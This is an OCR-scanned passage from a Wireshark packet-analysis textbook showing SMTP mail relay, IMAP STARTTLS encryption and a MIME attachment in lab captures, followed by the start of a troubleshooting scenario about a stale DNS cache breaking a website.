mirror the capture in step 1, because they are the same packets captured 
from another source. 

If the sent message was destined for another mailbox in the skynet.local 
domain, we wouldn’t see any more SMTP traffic; instead, we would see the 
retrieval of the message from an email client with the POP3 or IMAP pro- 
tocol. However, since this message is destined for the cyberdyne.local domain, 
the local SMTP server must transmit the message to the remote SMTP 
server responsible for that domain. This process begins in packet 22 with 
a TCP handshake between the local server 172.16.16.221 and the remote 
mail server 172.16.16.231. 


In a real-world scenario, an email server locates another server by using a special DNS 
record type known as a mail exchange (MX) record. Since this scenario was created 
in a lab and the IP address of the remote email server was preconfigured on the local 
server, we won't see that traffic here. If you're troubleshooting email delivery, you should 
consider the potential for DNS issues along with email-specific protocol issues. 


With a connection established, we can see in the Packet List window that 
SMTP is used to deliver the message to the remote server. You can better 
view this conversation by following the TCP stream for the transaction. It is 
shown in Figure 9-31. If you need help isolating this connection, apply the 
filter tcp.stream == 1 in the filter bar. 





M Wireshark - Follow TCP Stream (tcp.stream eq 1) - mail_sender_server_2 = o x 





22@ mail@2 ESMTP Postfix (Ubuntu) @ 
EHLO maile1@ 
250-mail@2 
25@-PIPELINING 
25@-SIZE 10249000 
25@-VRFY 
O ce-ETRN 
25@-STARTTLS 
25@-ENHANCEDSTATUSCODES 
250-8BITMIME 
250 DSN 
MAIL FROM:<sanders@skynet.local> SIZE=732 
RCPT TO:<sanders@cyberdyne.local> ORCPT=rfc822;sanders@cyberdyne. local 
DATA 
250 2.1.0 Ok 
250 2.1.5 Ok 
354 End data with <CR><LF>.<CR><LF> 
Received: from [172.16.16.225] (unknown [172.16.16.225] ) 
by mailð1 (Postfix) with ESMTP id 931C4400D5 
for <sanders@cyberdyne.local>; Tue, 29 Dec 2015 14:13:51 -0500 (EST) 
To: Chris Sanders <sanders@cyberdyne.local> 
From: Chris Sanders <sanders@skynet.local> 
Subject: Help! 
Message-ID: <5682DB80.4010607@skynet.local> 
Date: Tue, 29 Dec 2015 14:14:08 -0500 
User-Agent: Mozilla/5.@ (Windows NT 10.0; WOW64; rv:38.@) Gecko/20100101 
Thunderbird/38.5.@ 
MIME-Version: 1.0 
Content-Type: text/plain; charset=utf-8; format=flowed 
Content-Transfer-Encoding: 7bit 


I need your help. The system has become self aware. On second thought, (a) 
why am I sending this from a system that can most certainly intercept 
it? Oh well.... 


QUIT 
250 2.0.0 Ok: queued as 994C8617DF 
221 2.0.0 Bye 
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Figure 9-31: Viewing the TCP stream from the local email server to the 
remote email server 


This transaction is nearly identical to the one in Figure 9-30. Essentially, 
the message is just being transmitted between servers. The remote server 
identifies itself as mailo2 @, the local server identifies itself as mailo1 @, a list of 
support commands is shared ®, and the message is transferred in its entirety 
with a bit of additional data from the previous transaction prepended to the 
message above the To line ®. This all occurs between packets 27 and 35, with 
a TCP teardown closing the communication channel. 

The server ultimately doesn’t care whether the message is coming from 
an email client or another SMTP server, so all the same rules and proce- 
dures apply (barring any type of access control restrictions). In the real 
world, a local email server and a remote email server might not support the 
same feature set or might be based on entirely different platforms. This is 
why the initial SMTP communication is so important; it allows the recipient 
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server to transmit its supported feature set to the sender. When an SMTP 
client or server is aware of the supported features of the recipient server, 
the SMTP commands can be adjusted so that the message can be transmit- 
ted effectively. This capability allows SMTP to be widely usable between any 
number of client and server technologies, and this is why you don’t have to 
know much about the network infrastructure of the recipient when sending 
an email. 


Step 3: Remote Server to Remote Client 


At this point, our message has reached the remote server responsible for 
delivering emails to mailboxes in the cyberdyne.local domain. We’ll now look 
at a packet capture taken from the perspective of the remote server, mail_ 
receiver_server_3.pcapng, shown in Figure 9-32. 








4 Wireshark - Follow TCP Stream (tcp.stream eq 0) - mail_receiver_server_3 = o x 
220 mail@2 ESMTP Postfix (Ubuntu) @ tal 
EHLO mailel1 @ 
250-mail@2 


25@-PIPELINING 
25@-SIZE 10240000 
25@-VRFY 
25@-ETRN 
25@-STARTTLS 
25@-ENHANCEDSTATUSCODES 
250-8BITMIME 
25@ DSN 
MAIL FROM:<sanders@skynet.local> SIZE=732 
RCPT TO:<sanders@cyberdyne.local> ORCPT=rfc822;sanders@cyberdyne. local 
DATA 
250 2.1.0 Ok 
250 2.1.5 Ok 
354 End data with <CR><LF>.<CR><LF> 
Received: from [172.16.16.225] (unknown [172.16.16.225]) 
by mailð1 (Postfix) with ESMTP id 931C4400D5 
for <sanders@cyberdyne.local>; Tue, 29 Dec 2015 14:13:51 -0500 
(EST) 
To: Chris Sanders <sanders@cyberdyne.local> 
From: Chris Sanders <sanders@skynet.local> 
Subject: Help! 
Message-ID: <5682DB80.4010607@skynet.local> 
Date: Tue, 29 Dec 2015 14:14:08 -0500 
User-Agent: Mozilla/5.@ (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 
Thunderbird/38.5.@ 
MIME-Version: 1.0 
Content-Type: text/plain; charset=utf-8; format=flowed 
Content-Transfer-Encoding: 7bit 


I need your help. The system has become self aware. On second thought, 
why am I sending this from a system that can most certainly intercept 
































it? Oh well.... 

QUIT 

250 2.0.0 Ok: queued as 994C8617DF 

221 2.0.0 Bye v 

3 chent pkefs), 4 server pktfs), 6 turns. 

Entire conversation (1155 bytes) = Show data as | ASCII T Stream |0 |$ 

Find: Find Next 
Hide this stream Print Save as... Close Help 








Figure 9-32: Viewing the TCP stream from the local email server to the 
remote email server 


Once again, the first 15 packets in this capture look very familiar, as they 
are a representation of the same message being exchanged, with the source 
address representing the local email server ® and the destination address 
representing the remote email server @. Once this sequence is completed, 
the SMTP server can associate the message with the appropriate mailbox so 
that the intended recipient can retrieve it via their email client. 

As mentioned earlier, SMTP is primarily used for sending email and is 
by far the most common protocol for that purpose. Retrieving email from 
a mailbox on a server is a bit more open-ended, and because of different 
needs arising in that space, there are several protocols that are designed 
to support this task. The most prevalent are Post Office Protocol version 3 
(POP3) and Internet Message Access Protocol (IMAP). In our example, 
the remote client retrieves messages from the email server using IMAP in 
packets 16-34. 

We don’t cover IMAP in this book, but in this example, it wouldn’t do 
you a ton of good even if we did because the communication is encrypted. 

If you look at packet 21, you'll see the client (172.16.16.235) send the STARTTLS 
command to the email server (172.16.16.231) in packet 21 @, shown in 
Figure 9-33. 














[A | tep.stream eq 1 








No. Time 


Source 


Destination Protocol Length Info ^ 








18 11. 
19 11. 
20 11. 
21 11. 
22 11. 
23 11. 
24 11. 
25 11. 
26 11. 
27 11. 
28 11. 
29 11. 


748353 
755638 
819470 
871697 
871722 
871904 
890004 
892786 
910176 
911283 
937139 
937295 


172. 
172. 
172. 
172. 
172. 
172. 
172. 
172. 
172. 
172. 
172. 
172. 


16. 
16. 
16. 


16 


16. 
16. 
16. 
16. 
16. 
16. 
16. 
16. 


16.235 172.16.16.231 TCP 60 51147 + 143 [ACK] Seq=1 Ack=1 Win=65536 Len=@ 

16.231 172.16.16.235 IMAP 178 Response: * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE... 
16.235 172.16.16.231 TCP 60 51147 + 143 [ACK] Seq=1 Ack=125 Win=65536 Len=0 

-16.235 172.16.16.231 IMAP 66 Request: 1 STARTTLS @ 

16.231 172.16.16.235 TCP 54 143 + 51147 [ACK] Seq=125 Ack=13 Win=29312 Len=0 

16.231 172.16.16.235 IMAP 87 Response: 1 OK Begin TLS negotiation now. 


16.235 172.16.16.231 TLSv1.2 219 Client Hello 

16.231 172.16.16.235 TLSv1.2 1447 Server Hello, Certificate, Server Key Exchange, Server Hello Done 
16.235 172.16.16.231 TLSv1.2 212 Client Key Exchange, Change Cipher Spec, Hello Request, Hello Request @ 
16.231 172.16.16.235 TLSv1.2 296 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message 
16.235 172.16.16.231 TLSv1.2 97 Application Data 

16.231 172.16.16.235 TLSv1.2 238 Application vata © 





Figure 9-33: The STARTTLS command indicates that the IMAP traffic will be encrypted. 


This command informs the server that the client would like to retrieve 
messages securely using TLS encryption. A secure channel is negotiated 
between each endpoint in packets 24-27 @, and the message is retrieved 
securely via the TLS (Transport Layer Security) protocol in the remaining 
packets ®. If you click any of these packets to view the data or attempt 
to follow the TCP stream (Figure 9-34), you’ll find that the contents are 
unreadable, protecting the email from being intercepted by someone who 
might be attempting to hijack or sniff traffic maliciously. 

With those final packets received, the process of sending a message 
from a user in one domain to a user in another domain is completed. 
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4 Wireshark - Follow TCP Stream (tcp.stream eq 1) - mail_receiver_server_3 — G x 















































* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS LOGINDISABLED] Dovecot (Ubuntu) ^ 
ready. 
1 STARTTLS 
1 OK Begin TLS negotiation now. 
-\...g&-H 
ein ihe eee 
TETTETETT L T a TT a T A E ad aersistaraleivtbislat aisle iaa 
~-h..4..t@ 
--Dovecot mail server1.@ 
..U....mail@21.0 
..U....mail@21#0!. bart 
..-root@cyberdyne.local@.. 
1512232106147. 
2512222106147@e1.0...U. 
.-Dovecot mail server1.@ 
..U....mail@21.@ 
..U....mail@21#@! . se BE 
.--root@cyberdyne.local@.."@ 
* 
«He. 
oe seenccee ð.. 
eecccee OG. sceee Er het ad Bt sy ee OA oe Sen ees Decwccee P.. 
...h./U.:.Qa...5S..:..G..5[m.q.A.y..( 
Heyen ne ores Le eae ee ee Griselda 1 eee ZA... Seccees (E OTA 
et) A S E A e A i 
A a fs E T ee L] 
. +H.: 
Daacosseusan (ee oe a TE UE AT Soe T EES O a S PE, ATETA A ee eS ea A 
p ER EERE PATTA os BS S AA ETP Tas TAT: A e LT RAS #x 
= Scio See a yl ete lene ORL pal Bad sel as aoe ale ees (he ere} ee Se Ba as Beard OOS H BER | 
a it nae ey fe Boe 
oat BR eet Tea Vie Sel ssa w. -m&. .X 
- Viewer Ce tee n ES eens re ate ATO s S A scone 
._.-ĝ@..'h..5;"8.Cv...Ba elim 99).5..m 
Es.cccece | ERRETEN A Lede ee Fay ea eee oe Se Reel sen eee 
«0 14. BSc cdeces 
SEE SSE Conse ae tere foe aan ae. Be secede 
- ~ _ M1.. GB. FO. g. SC Lasosoeeses (oekFossesoccesos Go Ne ce .Seaelecces 
_ Beet AAS ?.Z/.-d).q...k..M...=/ v 
15 client pkt{z), 16 server pkt{z), 30 turns. 
Entire conversation (6202 bytes) -| Show data as | ASCII a Stream | 1 |S 











Hide this stream Print | | Save as... | Close | Help 





Figure 9-34: The IMAP traffic is encrypted as the client downloads the message. 


Sending Attachments via SMTP 


mail_sender SMTP was never intended to be a mechanism for transmitting files, but the 
zalachmen! ease of emailing a file means that it has become the primary sharing mech- 
.pcapng 


anism for many. Let’s walk through a quick example of what sending a file 
looks like at the packet level using SMTP. 

In the packet capture mail_sender_attachment.pcapng, a user is sending 
an email message from their client (172.16.16.225) to another user on the 
same network via a local SMTP mail server (172.16.16.221). The message 
contains a bit of text and includes an image file attachment. 
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Sending an attachment via SMTP is not too different from sending text. 
It’s all just data to the server, and although some special encoding usually 
takes place, we still rely on the DATA command to get things where they’re 
going. To see this in action, open the capture file and follow the TCP stream 
for the given SMTP transaction. This stream is pictured in Figure 9-35. 








M Wireshark - Follow TCP Stream (tcp.stream eq 0) « mail_sender_attachment - o x 
220 mail@1 ESMTP Postfix (Ubuntu) A 
EHLO [172.16.16.225] 
250-mailð1 


250-PIPELINING 

250-SIZE 10240000 

250-VRFY 

250-ETRN 

250-STARTTLS 

250-ENHANCEDSTATUSCODES 

250-8BITMIME 

250 DSN 

MAIL FROM:<sanders@skynet.local> SIZE=76692 
25@ 2.1.@ Ok 

RCPT TO:<ppa@skynet.local> 

25@ 2.1.5 Ok 

DATA 

354 End data with <CR><LF>.<CR><LF> 

To: ppa@skynet. local 

From: Chris Sanders <sanders@skynet.local> 
Subject: New Coworker 

Message-ID: <56849222.49@@6@9@skynet. local> 
Date: Wed, 30 Dec 2015 21:25:38 -0500 
User-Agent: Mozilla/5.@ (Windows NT 10.0; WOW64; rv:38.@) Gecko/20100101 
Thunderbird/38.5.@ 

MIME-Version: 1.0 

Content-Type: multipart/mixed; e 
boundary="------------ 950407080301000500070000" 


This is a multi-part message in MIME format. 

Pitt ae a, 050407080301000500070000 

Content-Type: text/plain; charset=utf-8; format=flowed @ 
Content-Transfer-Encoding: 7bit 


A new guy started this week. There is something different about him, but 
I can't quite figure it out. Every time he sees me he asks for my 
clothes, my boots, and my motorcycle. I don't even own a motorcycle! I 
took a quick picture and have attached it here. Have you seen this guy 
before? 


Feat mae @50407080301000520070000 © 
Content-Type: image/jpeg; @ 
name="newguy. jpg” 
Content-Transfer-Encoding: base64 @ 
Content-Disposition: attachment; 
filename="newguy. jpg” 





/97/4AAQSKZIRGABAQAAAQABAAD / 2wBDAAMCABMCABMDAWMEAWME BQgF BQQEBQOHBwYIDAOM 
DAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT / 2wBDAQMEBAUEBQKFBQKUDQsN 
FBQUFBQUFBQUFBQUF BQUFBQUFBQUFBQUF BQUF BQUF BQUFBQUFBQUFBQUFBQUFBQUFBT/wAAR 
CAFaAmcDASIAAhEBAxEB/ 8QAHWAAAQUBAQEBAQEAAAAAAAAAAAECAWOFBgcICQOL/8QAtRAA 
AgEDAwI EAwUF BAQAAAFSAQIDAAQRBRINMUEGE1FhByIxFDKBkaEII@KxwRVS@FAKM2JygekK @ 
FhcYGRolJicoKSo@NTY 30Dk6Q@RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG 
h4iJipkKT1IWW15iZmqKjpKWmpG6ipgrKztLW2t7i5usLDxMXxGx8j JytLTINxXw19jZ2uHi4+T1 
Sufo6erx8vP@9Fb3+Pn6/8QAHWEAAWEBAQEBAQEBAQAAAAAAAAECAWOF BgcICQoL/8QAtREA 
AgECBAQDBAcFBAQAAQIJ 3AAECAXEEBSExBh JBUQdhc RMiMoE IFEKRObHBCSMZUVAVYNLRChYk 
NOE18RcYGRomJygpk jU2Nzg50kNERUZHSE1KUIRVV1dYWVp jZGVmZ2hpanN@dXxZ3eH16go0E 
hYaHilmKkpOU1ZaXmJmaoqOkpaangKmgsr0@tba3uLm6wsPExcbHyMnK@tPU1dbX2Nna4uPk 
5ebn60nq8vP@9Fb3+Pn6/90ADAMBAATRAXEAPwD8+L3GRjpXd/C+e1Nx5c2wHPR3jNcFdHIB 
HrV3TZDGwKnBHcHmvrJLO+PtfO9Y8Z2tmuwwBY2Y9Frn/E1gsfh80VGNuS1Z79hqBeZDMzMAc ~ 


24 client pke(s), 7 server pke{s), 12 turns. 
Entire conversation (77 kB) x Show data as ASCII | Stream |0 [$ 



























































(Hide this stream Print Save as... | Close Help 











Figure 9-35: A user sending an attachment via SMTP 
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This example begins like the previous scenarios with service identifica- 
tion and an exchange of supported protocols. When the client is ready to 
transmit the message, it does so by providing the From and To addresses, 
and sending the DATA command instructs the server to open up a buffer to 
receive the information. This is where things get a little different. 

In the previous example, the client transmitted the text directly to the 
server, and that was it. In this example, the client must send the plaintext 
message, as well as the binary data associated with the image attachment. 
To make this happen, it identifies its Content-Type as multipart/mixed, with a 
boundary of ------------ 050407080301000500070000 ®. This tells the server that 
multiple types of data are being transmitted, each with their own unique 
MIME type and encoding, and that each type of data will be separated with 
the boundary value specified. Therefore, when another mail client receives 
this data, it will know how to interpret the data based on the boundaries 
and the unique MIME type and encoding specified in each chunk. 

In our example, we have two unique parts of this message. The first is the 
mail text itself, which is identified by the content type text/plain @. After that, 
we see a boundary marker and the start of a new part of the message ®. This 
part contains the image file and is identified by the content type image/jpeg @. 
It’s also worth noting that the Content-Transfer-Encoding value is set to base64 ©, 
meaning that the data must be converted from base 64 to be parsed. The 
remainder of the transmission includes the encoded image file ©. 

Whatever you do, don’t get this encoding confused with a security 
feature. Base 64 encoding is almost instantly reversible, and any attacker 
who intercepts this communication would be able to retrieve the image file 
without much effort. If you are interested in carving this image file out of 
the packet capture yourself, there is a similar scenario in which we carve an 
image from an HTTP-based file transfer in the Remote-Access Trojan sec- 
tion of Chapter 12. Once you've read that, flip back to this capture file and 
see if you can find out who the user’s mysterious new coworker is. 


Final Thoughts 


Chapter 9 


This chapter has introduced the most common protocols you will encoun- 
ter when examining traffic at the application layer. In the following chap- 
ters, we'll examine new protocols and additional features of the protocols 
we've covered here as we explore a wide range of real-world scenarios. 

To learn more about individual protocols, read their associated RFCs 
or have a look at The TCP/IP Guide by Charles M. Kozierok (No Starch 
Press, 2005). Also, see the list of resources in Appendix A. 
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BASIC REAL-WORLD SCENARIOS 





Beginning with this chapter, we’ll dig 
into the meat of packet analysis as we use 
Wireshark to analyze real-world network 





problems. Pll introduce a series of problem 
scenarios by describing the context of the problem 
and providing the information that was available to 
the analyst at the time. Having laid the groundwork, 


we’ll turn to analysis as I describe the method used to capture the appropri- 
ate packets and step you through the process of working toward a diagnosis. 
Once analysis is complete, I'll point toward potential solutions and give an 
overview of the lessons learned. 

Throughout, remember that analysis is a very dynamic process. Thus, 
the methods I use to analyze each scenario may not be the same ones 
that you would use. Everyone approaches problem solving and reasoning 
through their own lens. The most important thing is that the result of the 


analysis solves a problem, but even when it doesn’t, it’s critical to learn from 
failures as well. Experience is the thing we get when we don’t get what we 
want, after all. 

In addition, most problems discussed in this chapter can probably 
be solved with methods that don’t necessarily involve a packet sniffer, but 
what’s the fun in that? When I was first learning how to analyze packets, 
I found it helpful to examine typical problems in atypical ways by using 
packet analysis techniques, which is why I present these scenarios to you. 


Missing Web Content 


http_espn_fail 


-pcapng 
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In the first scenario we’ll look at, our user is Packet Pete, a college basketball 
fan who doesn’t keep late hours and usually misses the West Coast games. 
The first thing he does when he sits down at his workstation every morning 
is Visit http://www.espn.com/ for the previous night’s final scores. When Pete 
browses to ESPN this morning, he finds that the page is taking a long time 
to load, and when it finally does, most of the images and content are missing 
(Figure 10-1). Let’s help Pete diagnose this issue. 


IE ESPN: The Worldwide Lea: x 


e Œ f DO espn.go.com ra = 








or Submit 











o NCAAM 
o NASCAR 
o Golf 














Figure 10-1: ESPN is failing to load properly. 


Tapping into the Wire 


This issue is isolated to Pete’s workstation and is not affecting any others, so 
we'll start by capturing packets directly from there. To do this, we’ll install 
Wireshark and capture packets while browsing to the ESPN website. Those 
packets are found in the file http_espn_fail.pcapneg. 


Analysis 


We know Pete’s issue is that he’s unable to view a website he is browsing to, 
so we’re primarily going to be looking at the HTTP protocol. If you read 
the previous chapter, you should have a basic understanding of what HTTP 
traffic between a client and server looks like. A good place to start looking 
is at the HTTP requests being made to the remote server. You can do this by 
applying a filter for GET requests (using http.request.method == "GET"), but this 
can also be done by simply selecting Statistics > HTTP » Requests from the 
main drop-down menu (Figure 10-2). 





@ ) Wireshark - Requests - http_espn_fail 


Topic / Item 
v HTTP Requests by HTTP Host 
v www.espn.com 
/ 
Vv espn.go.com 
/ 
v cdn.optimizely.com 
/js/310987714.js 
v assets.espn.go.com 
/i/columnists/kapadia_sheil_m.jpg 
v a4.espncdn.com 
/combiner/i?img=%2Fphoto%2F2014%2F0806%2Fnfl_g_colts5_cr_1296x729.jpg&w=556& 
v a2.espncdn.com 
/combiner/i?img=%2Fmedia%2Fmotion%2F2016%2F0108%2Fdm_160108_Trainer_shoulc 
v at.espncdn.com 
/combiner/i?img=%2Fphoto%2F2016%2F0108%2Fsubzero_5x2.png&w=1296&h=5 1 8&scz 


Display filter: Enter a display filter ... | Apply | 


Copy Save as... Close 











Figure 10-2: Viewing HTTP requests to ESPN 


From this overview, it appears the capture is limited to seven different 
HTTP requests, and they all look like they are associated with the ESPN 
website. Each request contains the string espn within the domain name, 
with the exception of cdn.optimizely.com, which is a content delivery network 
(CDN) used to deliver advertising to a multitude of sites. It’s common to 
see requests to various CDNs when browsing to websites that host advertise- 
ments or other external content. 

With no clear leads to follow, the next step is to look at the protocol 
hierarchy of the capture file by selecting Statistics > Protocol Hierarchy. 
This will allow us to spot unexpected protocols or peculiar distributions 
of traffic per protocol (Figure 10-3). Keep in mind that the protocol hier- 
archy screen is based on the currently applied display filter. Be sure to clear 
the previously applied filter to get the expected results based on the entire 
packet capture. 
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® Wireshark - Protocol Hierarchy Statistics - http_espn_fail 


Protocol ¥ Percent Packets Packets Percent Bytes Bytes Bits/s End Packets 
Y Frame 100.0 569 100.0 357205 30k 0 
v Ethernet 100.0 569 100.0 357205 30k 0 
Y Internet Protocol Version 4 100.0 569 100.0 357205 30k 0 
v User Datagram Protocol 25 14 0.5 1627 136 0 
Domain Name System 2.5 14 0.5 1627 136 14 
¥ Transmission Control Protocol 97.5 555 99.5 355578 29k 541 
v Hypertext Transfer Protocol 2.5 14 24 8460 712 7 
Portable Network Graphics 0.2 1 0.1 487 41 t 
Line-based text data 0.5 3 0.5 1632 137 3 
JPEG File Interchange Format 0.5 3 0.8 2962 249 3 


No display filter. 


CC® Coy . Close 





Figure 10-3: Reviewing the protocol hierarchy of the browsing session 


The protocol hierarchy isn’t too complex, and we can quickly decipher 
that there are only two application-layer protocols at work: HTTP and DNS. 
As you learned in Chapter 9, DNS is used to translate domain names to IP 
addresses. So, when you browse to a site like http://www.espn.com/, your system 
may need to send out a DNS query to find the IP address of the remote web 
server if it doesn’t already know it. Once a DNS reply with the appropriate 
IP address comes back, that information can be added to a local cache, and 
HTTP communication (using TCP) can commence. 

Although nothing looks out of the ordinary here, the 14 DNS packets 
are notable. A DNS request for a single domain name is typically contained 
in a single packet, and the response also constitutes a single packet (unless 
it’s very large, in which case DNS will utilize TCP). Since there are 14 DNS 
packets here, it’s possible that as many as seven DNS queries were generated 
(7 queries + 7 replies = 14 packets). Figure 10-2 did show HTTP requests to 
seven different domains, but Pete only typed a single URL into his browser. 
Why are all of these extra requests being made? 

In a simple world, visiting a web page would be as easy as querying one 
server and pulling all of its content in a single HTTP conversation. In real- 
ity, an individual web page may provide content hosted on multiple servers. 
All of the text-based content could be in one place, the graphics could be 
in another, and embedded videos could be in a third. That doesn’t include 
ads, which could be hosted on multiple providers spanning dozens of indi- 
vidual servers. Whenever an HTTP client parses HTML code and finds a 
reference to content on another host, it will attempt to query that host for 
the content, which can generate additional DNS queries and HTTP requests. 
This is exactly what happened here when Pete visited ESPN. While he may 
have intended to view content only from a single source, references to addi- 
tional content were found in the HTML code, and his browser automati- 
cally requested that content from multiple other domains. 

Now that we understand why all of these extra requests exist, our 
next step is to examine the individual conversations associated with each 
request (Statistics > Conversations). Reviewing the Conversations window 
(Figure 10-4) provides an important clue. 





®@ Wireshark : Conversations - http_espn_fail 
Ethernet-1 MOZE Pv6 TCP-16 UDP-7 

Address A 4 Address B Packets Bytes Packets A >B BytesA~B PacketsB-~A BytesB—A Rel Start Duration 
4.2.2.1 172.16.16.154 14 1627 7 1106 7 521 0.000000000 0.663869 
68.71.212.158 172.16.16.154 13 2032 6 1200 7 832 0.027167000 90.875181 
69.31.75.194 172.16.16.154 19 9949 10 8942 9 1007 0.579477000 90.659273 
72.21.91.8 172.16.16.154 92 70k 49 67k 43 3170 0.526867000 60.553187 
72.246.56.35 172.16.16.154 247 196k 134 188k 113 8315 0.527902000 90.806341 
72.246.56.83 172.16.16.154 30 20k 15 19k 15 1518 0.659868000 45.344878 
172.16.16.154 199.181.133.61 61 49k 24 1953 37 47k 0.238547000 91.083551 
172.16.16.154 203.0.113.94 93 6774 93 6774 0 0 0.430071000 94.593597 

Name resolution Limit to display filter | Conversation Types | 
Help Copy , Follow Stream... Graph... Close 





Figure 10-4: Reviewing IP conversations 


We discovered earlier that there were seven DNS requests and seven 
HTTP requests to match. With that in mind, it would be reasonable to 
expect that there would also be seven matching IP conversations, but that 
isn’t the case. There are eight. How can that be explained? 

One thought might be that the capture was “contaminated” by an 
additional conversation unrelated to the problem at hand. Ensuring your 
analysis doesn’t suffer due to irrelevant traffic is certainly something you 
should be cognizant of, but that isn’t the issue with this conversation. If you 
examine each HTTP request and note the IP address the request was sent 
to, you should be left with one conversation that doesn’t have a matching 
HTTP request. The endpoints for this conversation are Pete’s workstation 
(172.16.16.154) and the remote IP 203.0.113.94. This conversation is repre- 
sented by the bottom line in Figure 10-4. We note that 6,774 bytes were sent 
to this unknown host but zero bytes were sent back: that’s worth digging into. 

If you filter down into this conversation (right-click the conversation 
and choose Apply As Filter > Selected > A<->B), you can apply your knowl- 
edge of TCP to identify what’s gone wrong (Figure 10-5). 





No. Time Source Destination Protocol Length Info 
25 0.430071 172.16.16.154 203.0.113.94 TCP 78 64862 + 8@ [SYN] Seq=@ Win=65535 Len=@ MSS=1460 WS=32 TSval=1101093668 TSec.. 
26 0.430496 172.16.16.154 203.0.113.94 TEP 78 64863 + 8@ [SYN] Seq=@ Win=65535 Len=@ MSS=1460 WS=32 TSval=1101093668 TSec... 
27 0.431050 172.16.16.154 203.0.113.94 TCP 78 64864 + 80 [SYN] Seq=0 Win=65535 Len=@ MSS=1460 WS=32 TSval=1101093669 TSec.. 
39 0.500663 172.16.16.154 203.0.113.94 TEP. 78 64865 + 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=1101093737 TSec.. 
40 0.500873 172.16.16.154 203.0.113.94 TCP 78 64866 + 80 [SYN] Seq=0 Win=65535 Len=@ MSS=1460 WS=32 TSval=1101093737 TSec.. 


0. 553964 .16.16. 203. TCP 78 64869 + 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=1101093787 TSec. 
+ 460006 .16.16. . . Retransmission] Win=65535 Len=@ MSS=1460 
+ 460006 «16.16. . . Retransmission] Len=@ MSS=1460 
+ 461238 + 16.16. . . Retransmission] Len=0 MSS=1460 
«530278 - 16.16. . . Retransmission] Len=@ MSS=1460 
- 530278 - 16.16. . . Retransmission] Len=0 MSS=1460 
«580145 +16.16. . . Retransmission] Len=@ MSS=1460 
«461157 «16.16. . . Retransmission] Len=0 MSS=1460 
+461157 -16.16. . Retransmission] in=65535 Len=0 MSS=1460 





Figure 10-5: Reviewing the unexpected connection 


With normal TCP communication, you expect to see a standard SYN- 
SYN/ACK-ACK handshake sequence. In this case, Pete’s workstation sent 
a SYN packet to 203.0.113.94, but we never see a SYN/ACK response. Not 
only this, but Pete’s workstation sent multiple SYN packets to no avail, 
eventually leading his machine to send TCP retransmission packets. We’ll 
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talk more about the specifics of TCP retransmissions in Chapter 11, but the 
key takeaway here is that one host is sending packets that it never receives a 
response to. Looking at the Time column, we see that the retransmissions 
continue for 95 seconds without a response. In network communications, 
this is slower than molasses. 

We have identified seven DNS requests, seven HTTP requests, and eight 
IP conversations. Since we know that the capture is not contaminated with 
extra data, it’s reasonable to think that the mysterious eighth IP conversa- 
tion is probably the source of Pete’s slowly and incompletely loading web 
page. For some reason, Pete’s workstation is trying to communicate with a 
device that either doesn’t exist or just isn’t listening. To understand why this 
is happening, we won’t look at what’s in the capture file; instead, we’ ll con- 
sider what isn’t there. 

When Pete browsed to http://www.espn.com/, his browser identified 
resources hosted on other domains. To retrieve that data, his workstation 
generated DNS requests to find their IP addresses, then connected to them 
via TCP so that an HTTP request for the content could be sent. For the con- 
versation with 203.0.113.94, there is no DNS request to be found. So, how 
did Pete’s workstation know about that address? 

If you remember our discussion about DNS in Chapter 9 or are other- 
wise familiar with it, you know that most systems implement some form 
of DNS caching. This allows them to reference a local DNS-to-IP address 
mapping that has already been retrieved without having to generate a DNS 
request every time you visit a domain that you frequently communicate with. 
Eventually, these DNS-to-IP mappings expire, and a new request must be gen- 
erated. However, if a DNS-to-IP mapping changes and a device doesn’t gen- 
erate a DNS request to get the new address when visiting the next time, the 
device will attempt to connect to an address that is no longer valid. 

In Pete’s case, that is exactly what happened. Pete’s workstation already 
had a cached DNS-to-IP mapping for a domain that hosts content for ESPN. 
Since this cached entry exists, a DNS request was not generated, and his sys- 
tem attempted to go ahead and connect to the old address. However, that 
address was no longer configured to respond to requests. As a result, the 
requests timed out, and the content never loaded. 

Fortunately for Pete, clearing his DNS cache manually is possible with a 
few keystrokes on the command line or in a terminal window. Alternatively, 
he could also just try again in a few minutes when the DNS cache entry will 
probably have expired so a new request will be generated. 


Lessons Learned 


That’s a lot of work just to find out that Kentucky beat Duke by 90 points, 
but we walk away with a deeper understanding of the relationship between 
network hosts. In this scenario, we were able to work toward a solution by 
assessing multiple data points related to the requests and conversations 


occurring within the capture. From there, we were able to spot a few incon- 
sistencies that took us down a path toward finding the failed communica- 
tion between the client and one of ESPN’s content delivery servers. 

In the real world, diagnosing problems is rarely as simple as scroll- 
ing through a list of packets and looking for the ones that look funny. 
Troubleshooting even the simplest problems can result in very large cap- 
tures that rely on the use of Wireshark’s analysis and statistics features to 
spot anomalies. Getting familiar with this style of analysis is critical to suc- 
cessful troubleshooting at the packet level. 

If you'd like to see an example of what normal communication looks 
like between a web browser and ESPN, try browsing to the site while captur- 
ing traffic yourself and see if you can identify all of the servers responsible 
for delivering content. 


Unresponsive Weather Service 


weather_broken 
.pcapng 
weather_working 
.pcapng 


Our second scenario once again involves our pal Packet Pete. Among his 
many hobbies, Pete fancies himself an amateur meteorologist and doesn’t 
go more than a few hours without checking current conditions and the 
forecast. He doesn’t rely solely on the local news forecast though; he actu- 
ally runs a small weather station outside his home that reports data up 

to Attps://www.wunderground.com/ for aggregation and viewing. Today, 
Pete went to check his weather station to see how much the temperature 
had dropped overnight, but found that his station hadn’t reported in to 
Wunderground in over nine hours, since around midnight (Figure 10-6). 
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Figure 10-6: The weather station hasn't sent a report in nine hours. 


Basic Real-World Scenarios 205 


Tapping into the Wire 


In Pete’s network, the weather station mounted on his roof connects toa 
receiver inside his house through an RF connection. That receiver plugs 
into his network switch and reports statistics to Wunderground through 
the internet. This architecture is diagrammed in Figure 10-7. 
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Figure 10-7: Weather station network architecture 


The receiver has a simple web-based management page, but Pete logged 
into it only to find a cryptic message about the last synchronization time 
with no additional guidance for troubleshooting—the software doesn’t 
